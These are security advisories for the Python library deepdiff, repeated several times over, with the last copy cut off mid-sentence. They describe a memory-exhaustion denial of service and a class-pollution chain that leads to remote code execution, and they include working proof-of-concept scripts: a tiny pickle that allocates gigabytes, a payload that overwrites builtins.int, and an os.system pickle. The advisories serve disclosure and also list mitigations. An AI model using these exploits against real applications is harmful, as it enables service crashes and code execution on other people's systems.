deepdiff

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
